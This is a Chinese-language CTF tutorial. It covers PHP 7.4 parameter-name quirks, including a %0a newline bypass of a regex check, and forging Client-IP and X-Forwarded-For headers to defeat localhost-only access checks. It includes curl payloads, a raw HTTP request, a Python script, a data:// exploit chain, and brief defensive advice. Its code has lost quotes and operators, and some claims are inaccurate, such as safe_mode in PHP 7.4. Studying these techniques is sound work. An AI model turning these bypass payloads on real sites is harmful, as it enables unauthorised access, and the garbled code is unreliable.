PHP 7.4 参数名传参漏洞实战:%0a换行符绕过正则与Client-IP伪造本地访问
PHP 7.4 参数名传参漏洞与HTTP头伪造实战解析在CTF竞赛中PHP参数名传参漏洞和HTTP头伪造是Web安全领域的经典考点。本文将深入剖析这两个技术点通过复现环境搭建、Payload构造和实战案例帮助读者掌握相关技巧。1. 漏洞环境搭建与原理分析要复现PHP 7.4参数名传参漏洞我们需要准备以下环境PHP 7.4.x运行环境Web服务器如Apache/Nginx测试脚本文件关键配置参数; php.ini配置 allow_url_include On register_globals Off magic_quotes_gpc Off漏洞原理的核心在于PHP对参数名的特殊字符处理机制。当参数名中包含.时PHP会将其转换为下划线但某些特殊字符如换行符%0a可以绕过这一转换。典型漏洞代码示例?php if(isset($_GET[b.u.p.t])) { echo Triggered! Content: .$_GET[b.u.p.t]; } else { highlight_file(__FILE__); } ?2. 换行符绕过正则匹配实战在MRCTF2020题目中利用%0a换行符可以绕过对参数名的正则检查原始Payload/?b.u.p.t23333%0a绕过原理正则表达式通常使用^和$匹配字符串边界换行符%0a会被视为新行的开始正则引擎可能不会跨行匹配进阶技巧尝试不同编码形式的换行符%0a、%0d、%0d%0a结合其他特殊字符如%00、%20等# 使用curl测试 curl http://target.com/?b.u.p.t23333%0a -H User-Agent: Mozilla/5.03. HTTP头伪造技术详解本地访问限制是Web题目中的常见防护措施通常通过以下方式验证$ip $_SERVER[HTTP_CLIENT_IP] ?? $_SERVER[HTTP_X_FORWARDED_FOR] ?? $_SERVER[REMOTE_ADDR]; if($ip ! 127.0.0.1) { die(Access Denied); }常见伪造头对比头字段说明示例值Client-IP客户端真实IP127.0.0.1X-Forwarded-For代理链IP127.0.0.1, 10.0.0.1X-Real-IP真实客户端IP127.0.0.1X-Originating-IP原始IP127.0.0.1实战Payload构造GET /target.php HTTP/1.1 Host: example.com Client-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 User-Agent: Mozilla/5.0使用Python requests库实现import requests headers { Client-IP: 127.0.0.1, X-Forwarded-For: 127.0.0.1 } response requests.get(http://target.com/target.php, headersheaders) print(response.text)4. 综合漏洞利用链构建结合参数名传参和HTTP头伪造我们可以构建完整的攻击链信息收集阶段扫描目录发现secrettw.php分析JSFuck编码获取提示本地访问绕过curl http://target.com/secrettw.php -H Client-IP: 127.0.0.1参数注入攻击curl http://target.com/secrettw.php?2333data:text/plain,todat is a happy dayfileZmpdYSZmXGI -H Client-IP: 127.0.0.1关键函数逆向分析function change($v) { $v base64_decode($v); $re ; for($i0;$istrlen($v);$i) { $re . chr(ord($v[$i]) $i*2); } return $re; }对应的逆向函数实现function unChange($v) { $re ; for($i0;$istrlen($v);$i) { $re . chr(ord($v[$i]) - $i*2); } return base64_encode($re); }5. 防御措施与最佳实践针对这类漏洞开发者应采取以下防护措施参数名严格校验if(preg_match(/[^a-zA-Z0-9_]/, key($_GET))) { die(Invalid parameter name); }IP验证多重检查$valid_ips [127.0.0.1, ::1]; if(!in_array($_SERVER[REMOTE_ADDR], $valid_ips)) { die(Real IP verification failed); }安全编码规范禁用危险函数eval()、assert()、system()等使用白名单机制过滤输入开启PHP安全模式safe_modeCTF选手的实用技巧使用Burp Suite的Intruder模块测试特殊字符开发自定义脚本自动化测试流程建立常见漏洞的Payload库在实际CTF比赛中这类漏洞往往需要结合其他技术点如文件包含、反序列化等。通过系统性地练习和总结可以显著提升解题效率。